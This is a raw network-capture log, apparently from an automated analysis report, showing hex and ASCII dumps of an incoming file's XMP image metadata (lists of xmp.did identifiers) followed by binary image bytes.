3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 45 37 44 36 39 32 34 30 39 32 30 36 38 31 31 39 35 
46 45 38 41 37 43 39 38 43 31 33 38 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 
Data Ascii: DC638F9FC95EE</rdf:li> <rdf:li>xmp.did:3E2934C40720681192B0E90D048EA72C</rdf:li> <rdf:li>xmp.did:3
E2A1AEFEC2068118C14EC69914C8563</rdf:li> <rdf:li>xmp.did:3E66A33F912168119109B16F87D14265</rdf:li> <
rdf:li>xmp.did:3E7D69240920681195FE8A7C98C1382D</rdf:li> 

2022-06-08 07:56:17 UTC 5147 IN Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 38 35 33 45 34 33 37 42 32 30 36 38 31 
31 38 30 38 33 44 38 36 43 41 31 35 46 41 46 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
64 69 64 3a 34 44 38 39 31 44 42 34 36 39 32 31 36 38 31 31 41 36 31 33 38 45 46 32 43 31 36 38 37 36 46 43 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 39 46 30 39 42 30 36 39 32 30 36 38 31 31 
41 39 45 46 43 33 35 37 44 46 31 45 34 34 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 34 44 41 32 35 33 36 31 37 30 32 35 36 38 31 31 39 33 37 35 45 30 39 31 36 39 37 38 33 43 35 36 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 42 
Data Ascii: li> <rdf:li>xmp.did:4D853E437B2068118083D86CA15FAF3B</rdf:li> <rdf:li>xmp.did:4D891DB469
216811A6138EF2C16876FC</rdf:li> <rdf:li>xmp.did:4D9F09B069206811A9EFC357DF1E44DE</rdf:li> <rdf:li>xm
p.did:4DA25361702568119375E09169783C56</rdf:li> <rdf:li>xmp.did:4DB

2022-06-08 07:56:17 UTC 5155 IN Data Raw: 32 35 2d 34 30 36 61 2d 37 65 34 32 2d 39 65 33 63 2d 33 39 39 35 36 38 66 64 37 63 65 34 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 33 39 46 30 39 42 30 36 39 32 30 36 38 31 31 41 39 
45 46 43 33 35 37 44 46 31 45 34 34 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3
a 35 33 41 38 38 42 44 39 44 45 46 33 31 31 45 30 38 31 30 31 43 31 33 43 34 30 42 43 45 31 41 36 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 33 45 42 38 32 31 41 36 42 34 32 45 30 31 31 42 30 38 39 
46 41 37 35 33 38 35 34 38 42 43 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 
33 46 32 46 42 34 44 31 35 32 30 36 38 31 31 38 43 31 34 42 43 43 45 45 
Data Ascii: 25-406a-7e42-9e3c-399568fd7ce4</rdf:li> <rdf:li>xmp.did:539F09B069206811A9EFC357DF1E44DE</rdf:li> 
<rdf:li>xmp.did:53A88BD9DEF311E08101C13C40BCE1A6</rdf:li> <rdf:li>xmp.did:53EB821A6B42E011B089FA7538
548BC7</rdf:li> <rdf:li>xmp.did:53F2FB4D152068118C14BCCEE

2022-06-08 07:56:17 UTC 5171 IN Data Raw: 38 41 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 33 36 35 35 45 
43 37 38 35 43 44 45 30 31 31 41 31 33 36 44 36 43 35 43 38 31 45 43 36 45 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 33 37 62 33 30 66 34 2d 32 66 39 63 2d 34 66 37 61 2d 62 34 31 39 2d 65 38 
37 33 35 64 63 37 63 37 31 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 33 38 3
8 38 30 45 38 30 39 32 30 36 38 31 31 39 32 42 30 42 41 41 39 30 34 44 45 30 46 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 33 39 35 42 38 41 35 37 44 32 30 36 38 31 31 39 32 42 30 44 30 41 37 
35 38 31 35 46 38 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
Data Ascii: 8AA9</rdf:li> <rdf:li>xmp.did:63655EC785CDE011A136D6C5C81EC6E4</rdf:li> <rdf:li>xmp.did:637b30f4-2
f9c-4f7a-b419-e8735dc7c71d</rdf:li> <rdf:li>xmp.did:638880E80920681192B0BAA904DE0F8D</rdf:li> <rdf:li>xmp.did:
6395B8A57D20681192B0D0A75815F8A6</rdf:li> <rdf:

2022-06-08 07:56:17 UTC 5187 IN Data Raw: 2d 39 64 32 33 2d 65 34 62 64 32 31 66 66 35 63 65 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 37 32 32 35 30 38 38 31 30 46 31 34 45 33 31 31 41 31 31 41 44 42 30 41 44 34 46 30 31 44 43 
46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 32 41 36 34 41 38 30 37 32 30 
36 38 31 31 38 43 31 34 42 38 37 30 37 44 35 37 30 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6
d 70 2e 64 69 64 3a 37 32 33 43 41 31 31 34 38 32 32 30 36 38 31 31 38 43 31 34 38 30 34 34 46 35 33 41 30 46 38 37 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 33 62 35 34 30 61 2d 36 37 38 61 
2d 34 32 34 37 2d 38 39 38 32 2d 31 36 36 61 61 39 63 36 34 38 34 65 3c 
Data Ascii: -9d23-e4bd21ff5ce9</rdf:li> <rdf:li>xmp.did:722508810F14E311A11ADB0AD4F01DCF</rdf:li> <rdf:li>xmp.
did:722A64A8072068118C14B8707D570A5C</rdf:li> <rdf:li>xmp.did:723CA114822068118C148044F53A0F87</rdf:li> 
<rdf:li>xmp.did:723b540a-678a-4247-8982-166aa9c6484e<

2022-06-08 07:56:17 UTC 5195 IN Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 39 41 41 46 46 43 36 30 37 32 
30 36 38 31 31 38 43 31 34 41 30 45 42 30 30 45 36 39 43 45 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 37 39 42 32 44 44 35 42 33 37 32 30 36 38 31 31 38 30 38 33 44 31 37 42 41 31 44 39 37 37 46 
33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 39 42 33 35 46 33 44 35 32 42 38 
31 31 45 30 41 46 44 39 45 34 34 34 34 37 30 46 32 32 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 37 39 43 34 37 44 36 42 39 44 32 30 36 38 31 31 38 30 38 33 46 39 44 33 44 31 30 32 44 37 44 44 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
Data Ascii: rdf:li> <rdf:li>xmp.did:79AAFFC6072068118C14A0EB00E69CED</rdf:li> <rdf:li>xmp.did:79B2DD5B37206811
8083D17BA1D977F3</rdf:li> <rdf:li>xmp.did:79B35F3D52B811E0AFD9E444470F22DA</rdf:li> <rdf:li>xmp.did:
79C47D6B9D2068118083F9D3D102D7DD</rdf:li> <rdf:li>xmp.did

2022-06-08 07:56:17 UTC 5211 IN Data Raw: 2e 64 69 64 3a 38 38 42 41 33 41 30 46 44 45 41 38 45 32 31 31 41 31 41 34 38 31 43 35 33 38 36 42 30 34 
46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 38 45 32 46 41 38 38 30 42 32 
30 36 38 31 31 38 46 36 32 46 31 38 39 41 38 38 36 45 43 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 7
8 6d 70 2e 64 69 64 3a 38 38 45 34 44 39 45 33 43 45 32 30 36 38 31 31 39 37 41 35 43 37 36 39 32 36 46 39 35 44 38 
41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 38 46 34 37 39 30 39 30 38 32 30 
36 38 31 31 38 43 31 34 41 45 33 36 46 44 42 30 44 36 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 38 38 46 36 33 32 39 32 46 34 32 30 36 38 31 31 38 37 
Data Ascii: .did:88BA3A0FDEA8E211A1A481C5386B04F7</rdf:li> <rdf:li>xmp.did:88E2FA880B2068118F62F189A
886EC1B</rdf:li> <rdf:li>xmp.did:88E4D9E3CE20681197A5C76926F95D8A</rdf:li> <rdf:li>xmp.did:88F479090
82068118C14AE36FDB0D67E</rdf:li> <rdf:li>xmp.did:88F63292F420681187

2022-06-08 07:56:17 UTC 5227 IN Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 34 46 44 41 32 44 30 42 32 30 
36 38 31 31 42 34 42 43 43 32 41 38 45 42 43 37 38 31 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 39 36 35 41 36 38 42 45 30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 36 61 39 62 38 38 2d 66 32 33 36 
2d 34 61 31 63 2d 61 39 35 33 2d 30 31 66 31 62 38 36 62 62 65 30 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 78 6d 70 2e 64 69 64 3a 39 36 37 66 34 34 63 63 2d 61 32 63 31 2d 38 63 34 64 2d 61 30 35 34 2d 36 34 30 36 35 
66 38 63 64 37 66 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
Data Ascii: df:li> <rdf:li>xmp.did:964FDA2D0B206811B4BCC2A8EBC78135</rdf:li> <rdf:li>xmp.did:965A68BE072068119
2B0E90D048EA72C</rdf:li> <rdf:li>xmp.did:966a9b88-f236-4a1c-a953-01f1b86bbe0e</rdf:li> <rdf:li>xmp.did:967f44cc-
a2c1-8c4d-a054-64065f8cd7fb</rdf:li> <rdf:li>
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2022-06-08 07:56:17 UTC 5235 IN Data Raw: 3a 39 61 37 61 62 37 39 35 2d 63 62 38 30 2d 31 31 34 64 2d 38 34 31 33 2d 30 39 33 36 32 66 66 34 62 63 
35 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 62 31 37 63 34 32 32 2d 66 66 
32 37 2d 34 66 61 37 2d 39 32 37 61 2d 36 33 39 38 63 30 33 33 31 35 37 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3
a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 62 37 35 63 36 36 63 2d 33 30 62 62 2d 35 65 34 64 2d 61 39 33 30 2d 62 35 65 
32 62 31 34 36 37 39 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 62 38 62 
62 33 64 31 2d 66 35 61 33 2d 34 61 63 38 2d 39 65 66 61 2d 62 37 31 36 36 62 38 36 33 37 31 34 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 62 39 31 33 36 
Data Ascii: :9a7ab795-cb80-114d-8413-09362ff4bc57</rdf:li> <rdf:li>xmp.did:9b17c422-ff27-4fa7-927a-6398c033157
d</rdf:li> <rdf:li>xmp.did:9b75c66c-30bb-5e4d-a930-b5e2b1467985</rdf:li> <rdf:li>xmp.did:9b8bb3d1-f5a3-4ac8-9efa-
b7166b863714</rdf:li> <rdf:li>xmp.did:9b9136

2022-06-08 07:56:17 UTC 5251 IN Data Raw: 69 64 3a 42 36 36 37 30 39 45 45 37 33 37 42 45 30 31 31 41 46 44 32 39 30 31 33 32 44 30 34 34 45 34 42 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 36 36 42 31 34 33 32 37 36 36 34 45 
30 31 31 42 45 34 31 42 31 35 41 36 41 30 32 39 39 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 7
0 2e 64 69 64 3a 42 36 38 38 30 42 41 31 41 44 32 30 36 38 31 31 38 32 44 34 43 45 42 42 36 42 31 30 43 37 43 36 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 36 39 31 46 43 31 38 35 35 32 30 36 38 
31 31 39 42 34 37 38 38 43 32 30 42 38 44 35 37 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 42 36 39 46 31 33 38 37 42 32 32 33 36 38 31 31 42 39 35 36 
Data Ascii: id:B66709EE737BE011AFD290132D044E4B</rdf:li> <rdf:li>xmp.did:B66B14327664E011BE41B15A6A0
29915</rdf:li> <rdf:li>xmp.did:B6880BA1AD20681182D4CEBB6B10C7C6</rdf:li> <rdf:li>xmp.did:B691FC18552
068119B4788C20B8D5749</rdf:li> <rdf:li>xmp.did:B69F1387B2236811B956

2022-06-08 07:56:17 UTC 5267 IN Data Raw: 42 45 36 42 35 43 32 30 36 38 31 31 38 46 36 32 43 37 34 44 31 32 41 35 36 36 44 39 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 44 46 31 34 46 33 36 31 39 32 30 36 38 31 31 42 45 39 43 38 
38 46 42 34 46 36 44 39 32 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 45 
30 42 34 41 30 44 39 36 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 45 31 43 41 33 37 45 38 38 42 45 44 45 31 31 42 46 33 36 39 32 
39 31 35 41 35 41 32 45 43 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 45 32 
33 45 33 42 30 30 46 32 30 36 38 31 31 38 37 31 46 39 44 41 45 41 46 31 
Data Ascii: BE6B5C2068118F62C74D12A566D9</rdf:li> <rdf:li>xmp.did:CDF14F3619206811BE9C88FB4F6D925B</
rdf:li> <rdf:li>xmp.did:CE0B4A0D96226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:CE1CA37E88BEDE11BF
3692915A5A2ECB</rdf:li> <rdf:li>xmp.did:CE23E3B00F206811871F9DAEAF1

2022-06-08 07:56:17 UTC 5275 IN Data Raw: 32 30 36 38 31 31 39 32 42 30 42 46 30 39 37 46 37 43 35 37 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 36 46 45 45 34 41 39 45 35 31 33 45 34 31 31 38 30 45 37 43 37 41 34 35 41 43 
38 34 46 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 37 30 41 32 43 31 35 
31 33 33 39 45 30 31 31 39 31 32 33 42 44 32 33 32 32 30 46 30 45 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6
c 69 3e 78 6d 70 2e 64 69 64 3a 44 37 30 43 38 31 39 37 32 43 32 30 36 38 31 31 39 31 30 39 38 30 35 41 34 35 37 46 
42 44 35 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 37 32 38 31 42 35 35 43 
33 32 30 36 38 31 31 42 45 33 33 45 44 33 44 43 44 31 32 32 39 38 36 3c 
Data Ascii: 20681192B0BF097F7C5780</rdf:li> <rdf:li>xmp.did:D6FEE4A9E513E41180E7C7A45AC84F73</rdf:li> 
<rdf:li>xmp.did:D70A2C151339E0119123BD23220F0EAC</rdf:li> <rdf:li>xmp.did:D70C81972C2068119109805A
457FBD57</rdf:li> <rdf:li>xmp.did:D7281B55C3206811BE33ED3DCD122986<

2022-06-08 07:56:17 UTC 5291 IN Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 45 38 39 30 34 39 43 30 41 32 30 36 38 31 
31 41 39 36 34 46 36 37 32 31 34 37 33 31 41 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
64 69 64 3a 45 45 39 37 34 41 39 33 35 34 32 33 36 38 31 31 41 44 33 39 42 31 41 36 39 43 31 32 37 46 36 37 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 45 42 42 38 30 33 42 30 38 39 36 45 30 31 31 
41 38 39 44 39 36 39 33 39 44 31 39 36 42 33 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 45 45 42 46 36 38 44 32 39 43 32 33 36 38 31 31 41 36 44 44 42 30 39 35 42 30 31 45 30 42 33 39 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 45 46 
Data Ascii: li> <rdf:li>xmp.did:EE89049C0A206811A964F67214731AFC</rdf:li> <rdf:li>xmp.did:EE974A9354
236811AD39B1A69C127F67</rdf:li> <rdf:li>xmp.did:EEBB803B0896E011A89D96939D196B3F</rdf:li> <rdf:li>xm
p.did:EEBF68D29C236811A6DDB095B01E0B39</rdf:li> <rdf:li>xmp.did:EEF

2022-06-08 07:56:17 UTC 5307 IN Data Raw: 30 37 32 30 36 38 31 31 42 36 42 46 45 33 42 37 33 34 31 36 37 35 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 42 43 43 32 39 42 46 33 44 
44 36 35 33 34 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 38 35 41 43 
39 35 34 37 41 37 44 46 31 31 39 43 46 45 46 39 38 33 38 39 36 34 37 46 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 41 45 35 35 38 35 43 30 32 30 36 38 31 31 39 39 34 43 45 38 33 42 42 42 
43 38 36 44 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 42 33 32 33 35 
38 42 36 41 31 45 30 31 31 42 36 31 33 42 35 34 33 37 41 45 44 33 32 41 
Data Ascii: 07206811B6BFE3B734167548</rdf:li> <rdf:li>xmp.did:F97F117407206811BCC29BF3DD6534EB</rdf:li> 
<rdf:li>xmp.did:F985AC9547A7DF119CFEF98389647F58</rdf:li> <rdf:li>xmp.did:F9AE5585C0206811994CE8
3BBBC86D74</rdf:li> <rdf:li>xmp.did:F9B32358B6A1E011B613B5437AED32A

2022-06-08 07:56:17 UTC 5310 IN Data Raw: 38 31 31 38 30 38 33 39 42 35 34 33 36 33 43 37 31 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 78 6d 70 2e 64 69 64 3a 46 42 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 43 31 41 46 36 45 36 39 45 30 
38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 37 46 31 31 37 34 30 37 32 
30 36 38 31 31 38 38 43 36 44 42 34 39 38 32 44 39 30 32 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 7
8 6d 70 2e 64 69 64 3a 46 42 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 41 34 32 45 35 45 32 44 42 35 38 37 42 38 
37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 37 46 31 31 37 34 30 37 32 30 
36 38 31 31 38 41 36 44 46 36 42 30 35 44 34 31 37 39 42 38 3c 2f 72 64 
Data Ascii: 81180839B54363C71C8</rdf:li> <rdf:li>xmp.did:FB7F1174072068118083C1AF6E69E085</rdf:li> <rdf:li>xmp
.did:FB7F11740720681188C6DB4982D90274</rdf:li> <rdf:li>xmp.did:FB7F1174072068118A42E5E2DB587B87</rdf:li> 
<rdf:li>xmp.did:FB7F1174072068118A6DF6B05D4179B8</rd

2022-06-08 07:56:17 UTC 5326 IN Data Raw: 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 61 34 34 32 37 66 63 2d 62 62 65 34 2d 64 34 34 37 
2d 38 38 37 35 2d 62 35 37 65 66 61 66 38 64 63 39 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 62 61 61 34 31 35 35 61 2d 35 34 61 32 2d 34 64 35 62 2d 62 63 36 33 2d 30 34 37 37 33 64 38 33 65 61 
34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 61 64 39 37 62 39 32 2d 30 37 
37 30 2d 34 31 64 36 2d 39 30 30 61 2d 33 35 62 32 63 39 64 30 37 63 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 61 65 39 65 33 64 35 2d 34 62 61 31 2d 34 39 66 63 2d 39 33 37 33 2d 34 62 66 
31 36 37 37 63 30 36 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
Data Ascii:  <rdf:li>xmp.did:ba4427fc-bbe4-d447-8875-b57efaf8dc9a</rdf:li> <rdf:li>xmp.did:baa4155a-54a2-4d5b-bc63-
04773d83ea46</rdf:li> <rdf:li>xmp.did:bad97b92-0770-41d6-900a-35b2c9d07c27</rdf:li> <rdf:li>xmp.did:bae9e3d5-4ba1-
49fc-9373-4bf1677c0673</rdf:li> <rdf:l

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:56:17 UTC 5342 IN Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 65 32 31 36 64 62 38 2d 34 66 31 33 2d 63 31 34 
63 2d 38 32 63 39 2d 65 31 36 30 38 30 63 37 64 30 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 65 65 34 65 37 36 30 66 2d 37 34 34 62 2d 34 30 61 62 2d 62 37 38 66 2d 32 36 35 32 66 32 65 36 63 
38 36 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 65 61 31 61 64 66 32 2d 33 
39 30 36 2d 39 30 34 39 2d 61 36 36 39 2d 35 35 37 37 30 66 65 64 64 38 64 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 65 61 62 63 32 37 62 2d 31 63 36 32 2d 34 39 62 38 2d 62 63 65 62 2d 62 36 
64 34 35 62 64 34 34 33 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
Data Ascii: > <rdf:li>xmp.did:ee216db8-4f13-c14c-82c9-e16080c7d059</rdf:li> <rdf:li>xmp.did:ee4e760f-744b-40ab-b78f-
2652f2e6c86e</rdf:li> <rdf:li>xmp.did:eea1adf2-3906-9049-a669-55770fedd8d1</rdf:li> <rdf:li>xmp.did:eeabc27b-1c62-
49b8-bceb-b6d45bd44318</rdf:li> <rdf:

2022-06-08 07:56:17 UTC 5346 IN Data Raw: 63 61 65 31 34 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 61 38 
66 64 36 61 66 2d 61 37 36 66 2d 34 39 63 64 2d 62 61 65 36 2d 34 66 39 62 35 65 31 32 31 36 38 36 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 61 64 65 38 31 31 33 2d 66 62 61 61 2d 34 61 64 63 2d 
38 33 37 35 2d 33 35 31 63 35 64 61 36 63 39 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 6
4 69 64 3a 66 62 33 30 65 30 65 38 2d 34 31 35 65 2d 34 38 38 64 2d 61 39 65 39 2d 33 66 33 33 63 65 37 30 66 33 36 
62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 62 34 39 30 35 37 32 2d 30 31 66 
64 2d 34 32 38 32 2d 61 34 31 39 2d 62 36 36 36 35 32 38 63 31 63 37 31 
Data Ascii: cae1478</rdf:li> <rdf:li>xmp.did:fa8fd6af-a76f-49cd-bae6-4f9b5e121686</rdf:li> <rdf:li>xmp.did:fade8113-fbaa
-4adc-8375-351c5da6c954</rdf:li> <rdf:li>xmp.did:fb30e0e8-415e-488d-a9e9-3f33ce70f36b</rdf:li> <rdf:li>xmp.did
:fb490572-01fd-4282-a419-b666528c1c71

2022-06-08 07:56:17 UTC 5362 IN Data Raw: e8 30 5a 68 34 4a 68 00 a6 b0 02 dd 69 81 6e 80 0b 74 1a 25 34 18 2d ba 00 2d d0 02 5b a0 02 dd 00 16 e8 
00 b7 40 09 6e 80 0b 74 00 96 e8 30 29 a0 d0 2b a0 c0 a6 b6 40 29 ac 34 29 ad 30 4a 68 00 a6 80 0a 68 00 a6 80 0d 00 
14 d0 02 53 5b 20 14 d6 00 53 5a 01 4d 00 14 d0 01 4d 00 14 d0 01 4d 06 05 34 1a 14 d0 01 4d 00 14 d0 60 53 41 a1 4d 
00 14 d0 01 4d 06 05 34 1a 25 29 a0 c1 69 a0 02 9a d0 0a 6b 0d 0a 68 30 29 a0 02 9a 00 29 a0 02 9a d0 0a 68 00 d0 01 
4d 60 05 35 a0 14 d0 01 4d 60 05 35 a0 14 d0 01 4d 00 14 d0 01 4d 00 14 d0 01 4d 00 14 d0 01 4d 00 14 d0 01 4d 00 14 
d0 01 4d 00 14 d0 01 4d 00 14 d0 68 53 58 60 53 5a 01 4d 61 a1 4d 06 05 35 a0 1a 00 29 ac 34 35 a0 14 d0 60 53 40 05 
34 00 b4 d0 68 94 a6 80 0d 06 0b 4d 00 25 34 01 ff d5 fb 0e 9a f6 cf 28 29 
Data Ascii: 0Zh4Jhint%4--[@nt0)+@)4)0JhhS[ SZMMM4M`SAMM4%)ikh0))hM`5M`5MMMMMMMhSX`SZMaM5)4
5`S@4hM%4()

2022-06-08 07:56:17 UTC 5378 IN Data Raw: 11 ee b6 8b ad e7 81 b8 1b 78 2e 2e 07 99 79 34 fb 9e ef 4c dc e4 22 48 99 40 58 10 83 ec 04 16 17 c4 6d 59 
89 af 6f d3 56 88 50 89 3f 52 57 ee b6 24 bb b6 f1 b6 6d 51 3c 67 ea 1d 25 99 a7 6a c3 1a 21 56 2e ca 05 14 32 9b 68 69 
5a f0 ff 00 33 59 48 4d c9 af 83 47 c3 9b 07 1d 22 de 5a 30 e5 11 91 bd a4 b3 03 6a bd fc 14 29 a5 a2 8b 4b 9b 92 f1 d4 
